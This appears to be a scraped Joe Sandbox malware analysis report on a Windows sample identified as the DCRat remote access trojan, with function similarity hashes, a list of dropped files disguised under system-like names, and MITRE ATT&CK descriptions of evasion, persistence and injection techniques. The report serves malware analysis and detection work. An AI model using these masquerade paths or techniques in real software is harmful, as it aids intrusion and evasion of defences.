Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: ccc6f9a6790b431fd1ab8e253d0064bfce7d4e51591ba4d521b92c82876fdba2
Instruction ID: 167d23d9e310a823c8f43eef4dcaead3914b445b5e472ac2d43fb864a2735736
Opcode Fuzzy Hash: ccc6f9a6790b431fd1ab8e253d0064bfce7d4e51591ba4d521b92c82876fdba2
Instruction Fuzzy Hash: 12919662F1461188FB20EB64DC441AC6BB6EF00769F940635DA1E52BD9DF78E981C770

Function 00007FF720B3129C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF720B31396

Part of subcall function 00007FF720B31F80: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF720B31F89

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::bad_alloc::bad_alloc
String ID:
API String ID: 680105476-0
Opcode ID: 8fc7eae5c4670fc1140e9880ae56cf99f2ea895d36ba7cddaaf7ea12a3bcbbde
Instruction ID: 89eb7fc080ff7b565645095d909e6dac016cc3c7bbcbb785918a7160bf9cb993
Opcode Fuzzy Hash: 8fc7eae5c4670fc1140e9880ae56cf99f2ea895d36ba7cddaaf7ea12a3bcbbde
Instruction Fuzzy Hash: 4F218122A0865195EA24AB91AC4027DA258EB05BF0FA80F35DE7F47FD1DE7CF0518B64

Function 00007FF720B711CC Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF720B71200

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1ba0ab62ba35dd53ebd3373b140bbd3b037d016492b4c350d3702476c2c82e75
Instruction ID: 91e0c8ef90eed8bd30a688c710b4ad7347b3e874d78f00bd67c0fd8231ba5e28
Opcode Fuzzy Hash: 1ba0ab62ba35dd53ebd3373b140bbd3b037d016492b4c350d3702476c2c82e75
Instruction Fuzzy Hash: 37113D2291C68286E630AB59AC4453DF2A4FB44380F950935E68F877AADF2CF9008F34

Function 00007FF720B33AD8 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF720B33B6C

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 569c634512f381af965fa2c66bca64ac59e19598741f6191cb67c2c779fbbc01
Instruction ID: 66b4f5e5c692d2a92369be1aaad079ae9989ec4664456e977a181d93c95682f1
Opcode Fuzzy Hash: 569c634512f381af965fa2c66bca64ac59e19598741f6191cb67c2c779fbbc01
Instruction Fuzzy Hash: 77016956E1868581FA24A724EC8526EB361FBC5B90FD05235D79D07BA5DE3CE1408A24

Function 00007FF720B614D8 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF720B61584: GetModuleHandleW.KERNEL32(?,?,?,00007FF720B614F3,?,?,?,00007FF720B618AA), ref: 00007FF720B615AB

DloadProtectSection.DELAYIMP ref: 00007FF720B61549

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: 799d038b7158803bea933cf39b0b77b6ad7abc565185a6302c43ebec12009330
Instruction ID: 6082c2d947318056abb3906f431243c4c960c93e779089d6dd82963f6f96aaeb
Opcode Fuzzy Hash: 799d038b7158803bea933cf39b0b77b6ad7abc565185a6302c43ebec12009330
Instruction Fuzzy Hash: 5C117865D0854B82FF75BB15AC56378D260EF64348F990439C90F867A1DF3CB6998E30

Function 00007FF720B6F984 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF720B6F9D9

Memory Dump Source

Source File: 00000007.00000002.1686753828.00007FF720B31000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF720B30000, based on PE: true

Associated: 00000007.00000002.1686728518.00007FF720B30000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B8B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686826178.00007FF720B94000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9A000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1686880103.00007FF720B9E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff720b30000_Chaindriver.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 65d65be094b720022a4c613e05cd8daa3805a7558d9a012189656855d83645cd
Instruction ID: 53df706ad34b87add0d0df29da0c6c21a5f89443ec7cf8bdd4882d0572d3af49
Opcode Fuzzy Hash: 65d65be094b720022a4c613e05cd8daa3805a7558d9a012189656855d83645cd
Instruction Fuzzy Hash: 34F04959B1A20751FE7576A69D1A3BDD291DF99B80F8C4439CA0F863C5EE1CF8808A30

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report t8F7Ic986c.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\1.bat

C:\6fc2a4b0c3d029

C:\Chaindriver.exe

C:\Chaindriver.sfx.exe

C:\Recovery\1a5d5b8dcee3d8

C:\Recovery\36c782484df200

C:\Recovery\Memory Compression.exe

C:\Recovery\NOFqHeDosUIopsPGLT.exe

C:\Users\Default\Pictures\9e8d7a4ca61bd9

C:\Users\Default\Pictures\RuntimeBroker.exe

C:\Users\Public\Libraries\36c782484df200

Windows Analysis Report
t8F7Ic986c.exe

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre